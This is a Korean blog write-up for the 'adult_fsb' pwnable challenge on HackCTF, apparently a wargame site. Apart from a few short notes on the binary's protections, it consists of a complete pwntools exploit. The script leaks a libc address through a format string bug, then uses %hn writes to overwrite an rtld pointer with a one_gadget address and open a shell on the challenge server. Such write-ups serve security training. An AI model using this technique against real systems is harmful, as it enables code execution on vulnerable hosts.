문제 풀이 환경 : ubuntu 16.04 |
풀렐로일땐 rtld!
카나리도 없고 풀렐로이다. (got overwriting을 못한다.)
fsb는 터지지만 bof는 터지지 않는다.
하지만 fsb로 모든게 해결이 가능하다.
두 번 터져서 넘 좋다.
Summary
- libc leak
- rtld를 one_gadget으로 overwriting
from pwn import *
#p = process('./adult_fsb')
p = remote('ctf.j0n9hyun.xyz', 3040)
e = ELF('./adult_fsb')
libc = ELF('./libc.so.6')
rtld_offset = 0x5f0f48
one_gadget_offset = 0xf1147
# offset 8
payload = '%49$p'
#pause()
p.send(payload)
p.recvuntil('0x')
leak = int(p.recv(12), 16)
libc_base = leak - libc.symbols['__libc_start_main'] - 240
rtld = libc_base + rtld_offset
log.info('libc_base : '+hex(libc_base))
log.info('rtld : '+hex(rtld))
one_gadget = libc_base + one_gadget_offset
log.info('one_gadget : '+hex(one_gadget))
low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff
l = low
if middle > low:
m = middle - low
else:
m = 0x10000 + middle - low
if high > middle:
h = high - middle
else:
h = 0x10000 + high - middle
# rtld -> onegadget
payload = ''
payload += '%{}c'.format(l)
payload += '%13$hn'
payload += '%{}c'.format(m)
payload += '%14$hn'
payload += '%{}c'.format(h)
payload += '%15$hn'
payload += 'A' * (8 - len(payload)%8)
print len(payload)
payload += p64(rtld)
payload += p64(rtld + 2)
payload += p64(rtld + 4)
pause()
p.send(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] ezshell 풀이 (64bit, shellcode) (0) | 2021.04.30 |
---|---|
[HackCTF : Pwnable] World Best Encryption Tool 풀이 (64bit, leak) (0) | 2021.04.28 |
[HackCTF : Pwnable] childfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] babyfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] You are silver 풀이 (64bit, FSB) (수정) (0) | 2021.04.20 |